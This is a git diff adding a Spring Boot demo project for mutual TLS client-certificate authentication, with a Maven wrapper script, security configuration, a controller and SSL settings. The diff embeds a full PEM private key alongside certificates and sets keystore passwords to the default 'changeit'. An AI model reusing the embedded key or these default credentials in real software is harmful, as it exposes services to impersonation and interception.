+@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
+@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
+@REM e.g. to debug Maven itself, use
+@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+@REM ----------------------------------------------------------------------------
+
+@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
+@echo off
+@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
+@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
+
+@REM set %HOME% to equivalent of $HOME
+if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
+
+@REM Execute a user defined script before this one
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
+@REM check for pre script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
+if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
+:skipRcPre
+
+@setlocal
+
+set ERROR_CODE=0
+
+@REM To isolate internal variables from possible post scripts, we use another setlocal
+@setlocal
+
+@REM ==== START VALIDATION ====
+if not "%JAVA_HOME%" == "" goto OkJHome
+
+echo.
+echo Error: JAVA_HOME not found in your environment. >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+:OkJHome
+if exist "%JAVA_HOME%\bin\java.exe" goto init
+
+echo.
+echo Error: JAVA_HOME is set to an invalid directory. >&2
+echo JAVA_HOME = "%JAVA_HOME%" >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+@REM ==== END VALIDATION ====
+
+:init
+
+@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
+@REM Fallback to current working directory if not found.
+
+set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
+IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
+
+set EXEC_DIR=%CD%
+set WDIR=%EXEC_DIR%
+:findBaseDir
+IF EXIST "%WDIR%"\.mvn goto baseDirFound
+cd ..
+IF "%WDIR%"=="%CD%" goto baseDirNotFound
+set WDIR=%CD%
+goto findBaseDir
+
+:baseDirFound
+set MAVEN_PROJECTBASEDIR=%WDIR%
+cd "%EXEC_DIR%"
+goto endDetectBaseDir
+
+:baseDirNotFound
+set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
+cd "%EXEC_DIR%"
+
+:endDetectBaseDir
+
+IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
+
+@setlocal EnableExtensions EnableDelayedExpansion
+for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
+@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
+
+:endReadAdditionalConfig
+
+SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
+
+set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
+set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
+if ERRORLEVEL 1 goto error
+goto end
+
+:error
+set ERROR_CODE=1
+
+:end
+@endlocal & set ERROR_CODE=%ERROR_CODE%
+
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
+@REM check for post script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
+if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
+:skipRcPost
+
+@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
+if "%MAVEN_BATCH_PAUSE%" == "on" pause
+
+if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
+
+exit /B %ERROR_CODE%
diff --git a/spring-rest-api-client-auth/pom.xml b/spring-rest-api-client-auth/pom.xml
new file mode 100644
index 0000000..8aefdb3
--- /dev/null
+++ b/spring-rest-api-client-auth/pom.xml
@@ -0,0 +1,59 @@
+
+
+ 4.0.0
+
+ com.pavelsklenar
+ spring-rest-api-client-auth
+ 0.0.1-SNAPSHOT
+ jar
+
+ spring-rest-api-client-auth
+ Demo project for Spring Boot
+
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 2.0.5.RELEASE
+
+
+
+
+ UTF-8
+ UTF-8
+ 1.8
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-security
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+ org.springframework.boot
+ spring-boot-starter-test
+ test
+
+
+ org.springframework.security
+ spring-security-test
+ test
+
+
+
+
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+
+
+
+
diff --git a/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java
new file mode 100644
index 0000000..9ab296f
--- /dev/null
+++ b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java
@@ -0,0 +1,12 @@
+package com.pavelsklenar.rest;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class RestApiClientAuthApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(RestApiClientAuthApplication.class, args);
+ }
+}
diff --git a/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/config/SecurityConfig.java b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/config/SecurityConfig.java
new file mode 100644
index 0000000..bcf6634
--- /dev/null
+++ b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/config/SecurityConfig.java
@@ -0,0 +1,41 @@
+package com.pavelsklenar.rest.config;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+import org.springframework.security.core.authority.AuthorityUtils;
+import org.springframework.security.core.userdetails.User;
+import org.springframework.security.core.userdetails.UserDetails;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.core.userdetails.UsernameNotFoundException;
+
+@Configuration
+@EnableWebSecurity
+@EnableGlobalMethodSecurity(securedEnabled = true)
+public class SecurityConfig extends WebSecurityConfigurerAdapter {
+
+ @Override
+ protected void configure(HttpSecurity http) throws Exception {
+ http.authorizeRequests()
+ .anyRequest().authenticated().and()
+ .x509()
+ .subjectPrincipalRegex("CN=(.*?)(?:,|$)")
+ .userDetailsService(userDetailsService());
+ }
+
+ @Bean
+ public UserDetailsService userDetailsService() {
+ return (UserDetailsService) username -> {
+ if (username.equals("pavel")) {
+ return new User(username, "",
+ AuthorityUtils
+ .commaSeparatedStringToAuthorityList("ROLE_USER"));
+ } else {
+ throw new UsernameNotFoundException(String.format("User %s not found", username));
+ }
+ };
+ }
+}
diff --git a/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java
new file mode 100644
index 0000000..c9ba0e0
--- /dev/null
+++ b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java
@@ -0,0 +1,20 @@
+package com.pavelsklenar.rest.controller;
+
+import org.springframework.security.access.annotation.Secured;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import com.pavelsklenar.rest.pojo.Customer;
+
+@RestController
+@RequestMapping("/customer")
+public class CustomerController {
+
+ @GetMapping("/{id}")
+ @Secured("ROLE_USER")
+ public Customer GetCustomer(@PathVariable Long id) {
+ return new Customer(id, "Customer" + id);
+ }
+}
diff --git a/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/pojo/Customer.java b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/pojo/Customer.java
new file mode 100644
index 0000000..bba0e8b
--- /dev/null
+++ b/spring-rest-api-client-auth/src/main/java/com/pavelsklenar/rest/pojo/Customer.java
@@ -0,0 +1,28 @@
+package com.pavelsklenar.rest.pojo;
+
+public class Customer {
+
+ private Long id;
+ private String name;
+
+ public Customer(Long id, String name) {
+ this.id = id;
+ this.name = name;
+ }
+
+ public Long getId() {
+ return id;
+ }
+
+ public void setId(Long id) {
+ this.id = id;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
diff --git a/spring-rest-api-client-auth/src/main/resources/application.properties b/spring-rest-api-client-auth/src/main/resources/application.properties
new file mode 100644
index 0000000..16f9fcc
--- /dev/null
+++ b/spring-rest-api-client-auth/src/main/resources/application.properties
@@ -0,0 +1,16 @@
+# Define a custom port (instead of the default 8080, both of port must be configured programmatically https://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#howto-configure-ssl)
+server.port=8443
+# The format used for the keystore
+server.ssl.key-store-type=PKCS12
+# The path to the keystore containing the certificate
+server.ssl.key-store=classpath:keyStore.p12
+# The password used to generate the certificate
+server.ssl.key-store-password=changeit
+# Trust store that holds SSL certificates.
+server.ssl.trust-store=classpath:trustStore.jks
+# Password used to access the trust store.
+server.ssl.trust-store-password=changeit
+# Type of the trust store.
+server.ssl.trust-store-type=JKS
+# Whether client authentication is wanted ("want") or needed ("need").
+server.ssl.client-auth=need
\ No newline at end of file
diff --git a/spring-rest-api-client-auth/src/main/resources/keyStore.p12 b/spring-rest-api-client-auth/src/main/resources/keyStore.p12
new file mode 100644
index 0000000..a44a715
Binary files /dev/null and b/spring-rest-api-client-auth/src/main/resources/keyStore.p12 differ
diff --git a/spring-rest-api-client-auth/src/main/resources/trustStore.jks b/spring-rest-api-client-auth/src/main/resources/trustStore.jks
new file mode 100644
index 0000000..bb41abe
Binary files /dev/null and b/spring-rest-api-client-auth/src/main/resources/trustStore.jks differ
diff --git a/spring-rest-api-client-auth/src/test/java/com/pavelsklenar/rest/RestApiClientAuthApplicationTests.java b/spring-rest-api-client-auth/src/test/java/com/pavelsklenar/rest/RestApiClientAuthApplicationTests.java
new file mode 100644
index 0000000..14f5b90
--- /dev/null
+++ b/spring-rest-api-client-auth/src/test/java/com/pavelsklenar/rest/RestApiClientAuthApplicationTests.java
@@ -0,0 +1,16 @@
+package com.pavelsklenar.rest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.test.context.junit4.SpringRunner;
+
+@RunWith(SpringRunner.class)
+@SpringBootTest
+public class RestApiClientAuthApplicationTests {
+
+ @Test
+ public void contextLoads() {
+ }
+
+}
diff --git a/spring-rest-api-client-auth/ssl/client/client_pavel.p12 b/spring-rest-api-client-auth/ssl/client/client_pavel.p12
new file mode 100644
index 0000000..9ea1bc9
Binary files /dev/null and b/spring-rest-api-client-auth/ssl/client/client_pavel.p12 differ
diff --git a/spring-rest-api-client-auth/ssl/client/myPrivateKey.pem b/spring-rest-api-client-auth/ssl/client/myPrivateKey.pem
new file mode 100644
index 0000000..40ea637
--- /dev/null
+++ b/spring-rest-api-client-auth/ssl/client/myPrivateKey.pem
@@ -0,0 +1,52 @@
+-----BEGIN PRIVATE KEY-----
+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
+hnETxWxO0UQa7x2caBFBjFKazXEyohA=
+-----END PRIVATE KEY-----
diff --git a/spring-rest-api-client-auth/ssl/client/pavel.crt b/spring-rest-api-client-auth/ssl/client/pavel.crt
new file mode 100644
index 0000000..ab21ace
--- /dev/null
+++ b/spring-rest-api-client-auth/ssl/client/pavel.crt
@@ -0,0 +1,32 @@
+-----BEGIN CERTIFICATE-----
+MIIFeTCCA2ECCQC3UPTZHJkbWjANBgkqhkiG9w0BAQsFADBwMQswCQYDVQQGEwJD
+WjEXMBUGA1UECAwOQ3plY2ggUmVwdWJsaWMxCzAJBgNVBAcMAkNCMSEwHwYDVQQK
+DBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxGDAWBgNVBAMMD1JFU1QgQVBJIFNF
+UlZFUjAeFw0xODEwMDYyMTM0MzZaFw0xOTEwMDEyMTM0MzZaMIGMMQswCQYDVQQG
+EwJDWjEXMBUGA1UECAwOQ3plY2ggUmVwdWJsaWMxCzAJBgNVBAcMAkNCMSEwHwYD
+VQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxDjAMBgNVBAMMBXBhdmVsMSQw
+IgYJKoZIhvcNAQkBFhVpbmZvQHBhdmVsc2tsZW5hci5jb20wggIiMA0GCSqGSIb3
+DQEBAQUAA4ICDwAwggIKAoICAQCkLPXCF1BK3SJs0d5uJqp0sB5/+KkEsH6AkjVc
+UBn6lUNeRoRQc3cpdNX8QREMI/PQZk5ftdzmYlfHktmjZUeJsLIxWNxAigzgZoBc
+omL+rqCpk5NJlIxjF2Pg/eQ0kKw94VRobIiMDvHVHmZPgwIAK8AEnHVk5AqXpyk/
+fvzQOyBRVK4sFib/FvPc0YRMgEeKJ4a+BH7mtHSaflyLSboNvWvu6W8fPRemaj5B
+kwbxSeqEgSUetCyHpGnl4MgNV5HUmyExOpQ29CpNxwKCKpDlWqsJ5sjgRIT2/sMb
+u8b4iDU7kaXQmCbPDdr2ZCe+AeSADFS7JAVkwVvNpC2XkUMH7P8Kmi+fLGdpE337
+1Ri5mPe+vOSAelhyOv303im+qOataNNctNnfeeZiZ+tldlUtySKSLgnHNlMd89G6
+owRUr77quqIdESqp9VmnJW0M0v2o3Y8J52bkLJ+o3HFdQugqMkbG/FJc0fHVpVk3
+Ki4fEATfysZkBzcda/4dMQ7OJyFYfb2TU8fdfPUz9Qem2yHx6TxFUzSz6Ph5bZnO
+70MVgIDVLdhU0nop+k46sGaVg13Mp/ZU8wb/GJk7QVhSSsoyll4MOccsanGNpQia
+B8r7Eb6DGQDtcFWb5YjHyx/W7fWcAwufFPVxTJkS2aW5QEv3Vr1fAoSNKdVZEMBb
+zBCxGQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQCC8SrEnnieJXarLZR24BTojcqA
+a6OQDW6EdmW3ugAbawrWrL/aLP+dnmm7vY4BIS3H4VtRdmMaBv0fBtSKKqNGSSrm
+eIQKRiI4H3nflUZ8omdsatHZu5ZWkBW1ngXY/4tgD/34UN4nbC6zkciDOxpsGPxZ
+Kkb/fC2sueBdgcYOb/4m8fhPVn8QxWP25VSGlI4YyUHWt7bJUeZkz8Gb9v7Zk29r
+4TeJb0tJPUUhUtqDoP1CIZFyZ1grb93sYFy0nEuCcobl38d4/jp+5VtKe3SyH0Tq
+JvP0OOuS35Mjc/uyIbYHO8jdBB3j4WfeJqCEdTRbB1QN7f3VJX2xXG0gwjtPzrUx
+Py1vMFJL+eJkcPu1PJlhx4z/HZGAVCBGCTaWOXerOLnPytrWnkiRmY9+j39y6N3D
+WTh7XuD4Ruaiyh6zxtaJWrUj3LrnMyaKT8nQxjJOfCROp2rszB4so/AM9B48W2fc
+8VgJWWX9ERnkUEc9COjUZmhwbD7+pAGhUxPxIpMqGfxe+t35KLusualO1BAIHeWN
++mYDZoEWpUCcFNI7uhVwrd7Y2xaw/MBpUPRCIRcwoC5k3M9xAe2L+8WBt/+aP9I7
+Pwso0iNoz5dMXSFNb9wCQWHGsFMAeXyJZVN0AJSbwe9rClQI6HU5beb2CVXtNQmn
+q3OMvxR/LUXNFluSSg==
+-----END CERTIFICATE-----
diff --git a/spring-rest-api-client-auth/ssl/client/request.csr b/spring-rest-api-client-auth/ssl/client/request.csr
new file mode 100644
index 0000000..95f5df0
--- /dev/null
+++ b/spring-rest-api-client-auth/ssl/client/request.csr
@@ -0,0 +1,28 @@
+-----BEGIN CERTIFICATE REQUEST-----
+MIIE0jCCAroCAQAwgYwxCzAJBgNVBAYTAkNaMRcwFQYDVQQIDA5DemVjaCBSZXB1
+YmxpYzELMAkGA1UEBwwCQ0IxITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5
+IEx0ZDEOMAwGA1UEAwwFcGF2ZWwxJDAiBgkqhkiG9w0BCQEWFWluZm9AcGF2ZWxz
+a2xlbmFyLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKQs9cIX
+UErdImzR3m4mqnSwHn/4qQSwfoCSNVxQGfqVQ15GhFBzdyl01fxBEQwj89BmTl+1
+3OZiV8eS2aNlR4mwsjFY3ECKDOBmgFyiYv6uoKmTk0mUjGMXY+D95DSQrD3hVGhs
+iIwO8dUeZk+DAgArwAScdWTkCpenKT9+/NA7IFFUriwWJv8W89zRhEyAR4onhr4E
+fua0dJp+XItJug29a+7pbx89F6ZqPkGTBvFJ6oSBJR60LIekaeXgyA1XkdSbITE6
+lDb0Kk3HAoIqkOVaqwnmyOBEhPb+wxu7xviINTuRpdCYJs8N2vZkJ74B5IAMVLsk
+BWTBW82kLZeRQwfs/wqaL58sZ2kTffvVGLmY97685IB6WHI6/fTeKb6o5q1o01y0
+2d955mJn62V2VS3JIpIuCcc2Ux3z0bqjBFSvvuq6oh0RKqn1WaclbQzS/ajdjwnn
+ZuQsn6jccV1C6CoyRsb8UlzR8dWlWTcqLh8QBN/KxmQHNx1r/h0xDs4nIVh9vZNT
+x9189TP1B6bbIfHpPEVTNLPo+Hltmc7vQxWAgNUt2FTSein6TjqwZpWDXcyn9lTz
+Bv8YmTtBWFJKyjKWXgw5xyxqcY2lCJoHyvsRvoMZAO1wVZvliMfLH9bt9ZwDC58U
+9XFMmRLZpblAS/dWvV8ChI0p1VkQwFvMELEZAgMBAAGgADANBgkqhkiG9w0BAQsF
+AAOCAgEAFW8dlNFta07CD7b3pK3aMbHSYRxz8nnyqmVutCD9Nut3eMD6EhEDaCFK
+a4lfyizWo+o5Axgan3YtghL7u+aDsjzUBMqWFqQuA0OcMHUljEvCHI1VnJ2Ax+V3
+0KYYTra/t9AYATineu6EwvLw07guUUGkaIiJsz3jwXQlswUmE2UqwNhKXY9cAu7Q
+vBSSgm1ktLLWJm2RCYuKkAhPXJx0xqGxwdBXniFcvZmy2zox++dWHpBacpOveAnl
+S2gWRH/DHwS2mxYBTG9Bo+m8LiKZtGx57eUfg+0j1Hka8c9TlvzsFKnBua8rG1I8
+PWjM6uLHhsbMX23WFnISdktLHg97PLu4gYOEiKYGulKGiFbmf+vcRJMI6wyc37pi
+KKTeoX+Nb+NLDC0/hFdRTREgK1igBykMly5MPra9meJzsI2xqh3i0LNipWvti9mj
+kR1vcAwFuamH4SzN9C7OV/kvasF9cK1aJJj/wkM/G7OqOeemStJ7gFM+YJchp+ni
+s8aqBC8a3BAzmxosfLs/oHoOnPYuT83h4oDIRVtmk1rUp0Hbo9SOzYNAp1jXvPrv
+ffHRL/XPvH45BzbEA/qafS9nL629oWQzUnhkqq40JWqB15PItYMF194qdxA5b501
+7kcbIoGcLpqaUpNGGjTmx6BZOgPt/5kqtLoi21NQz1y6Qwy/0LY=
+-----END CERTIFICATE REQUEST-----
diff --git a/spring-rest-api-client-auth/ssl/server/keyStore.p12 b/spring-rest-api-client-auth/ssl/server/keyStore.p12
new file mode 100644
index 0000000..a44a715
Binary files /dev/null and b/spring-rest-api-client-auth/ssl/server/keyStore.p12 differ
diff --git a/spring-rest-api-client-auth/ssl/server/server.crt b/spring-rest-api-client-auth/ssl/server/server.crt
new file mode 100644
index 0000000..059a356
--- /dev/null
+++ b/spring-rest-api-client-auth/ssl/server/server.crt
@@ -0,0 +1,33 @@
+-----BEGIN CERTIFICATE-----
+MIIFtjCCA56gAwIBAgIJAP1p0BePP1CFMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNV
+BAYTAkNaMRcwFQYDVQQIDA5DemVjaCBSZXB1YmxpYzELMAkGA1UEBwwCQ0IxITAf
+BgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEYMBYGA1UEAwwPUkVTVCBB
+UEkgU0VSVkVSMB4XDTE4MTAwNjIxMTQyMVoXDTI4MTAwMzIxMTQyMVowcDELMAkG
+A1UEBhMCQ1oxFzAVBgNVBAgMDkN6ZWNoIFJlcHVibGljMQswCQYDVQQHDAJDQjEh
+MB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMRgwFgYDVQQDDA9SRVNU
+IEFQSSBTRVJWRVIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDF0BqJ
+NhwfCk2Gu+RwnZqb3LM38VSp0H5eOnl0cpPkO1PW8qwNPBJFUUGa7cqM542DRhvi
+qRNq0gLeQ7TG1YEl6cdpEEafenTnbRVnCAlQ8ZThqXt7y42KAFvUM6fBT2YV+AY7
+K+MhwTqDAdS8QoApVWobbwGSzGh8UTlue54E1WUHPv/4/Ebd/dyCfZY5wZqHxX9P
+qU2N53M4N/ogf7pJ3Gocp5AYNMawlcn151JVGluJG82wNlWoRHfphgxcpWLT3zXv
+ETrMBHQJyzopUnzJ8aoNMkk/4GUUayz73eztFhguVl8lO5AVCbKaAetOrPtxa2+E
+qEAp42e3xFzqrKRRwrSXG1rc+46FE68QC350lilCaGSH3wGZcaKngfHgUhK8qB0z
+THwmjjeKhT1wLcygSbd2YtnGKOw35/lw7/bdxDojzCY9H3oBnpcJh5qxb1rQlnTi
+O/BjE6cUJM964rl1bzx99eLrQcG7JDtaATbJvAU1MDAVrgysJtDwPB+NgDJEdMS2
+VTRc2Exx1Xi3pIPutILs/VMSxvzuUxv+Gd7nQwY16o+E4N/GfortTLeeg16wa9Nf
+1xfx/VTMUofzBUwWqhDltQX+wMK+Q1NDt2emXmU528DmkAHiSRgFvK55eQp2NKpA
++IXuLnxgAEJue/1dkBBURhVJj44QcJHLlOKsAQIDAQABo1MwUTAdBgNVHQ4EFgQU
+Ya9Ple7bOYC20EY7cBJ0MUxlwtIwHwYDVR0jBBgwFoAUYa9Ple7bOYC20EY7cBJ0
+MUxlwtIwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAAC4WS0jf
+rBTTq1n5wRQyOdwagLTBH9px/4HxfT/sVHV3/NUo+HZPXY4M4ZaQ/9APAh9YcTQy
+cTp8uuvO3NDmqbv2nEfOGvj/gxvCHGzrtPMVKsw2hCblm5wzcBlVMXkA3nc8ueUF
+hFY1CKTdyoNW9vkhI3EsKFJcHxAKViOt72im6nW8uvuPVnUfPhsanXl5chh71rNG
+2ol59OgupgEY1AfjPDWaJEoR7wrJf2CQCR48gAgBUpnLfHWvaBdACirbROOPdU9A
+R62YpU0VljToS7ddX5Zk+37WZ2BIT01LsYC0x6m3CEXAr8DtIGlxCabsQeeF2rYY
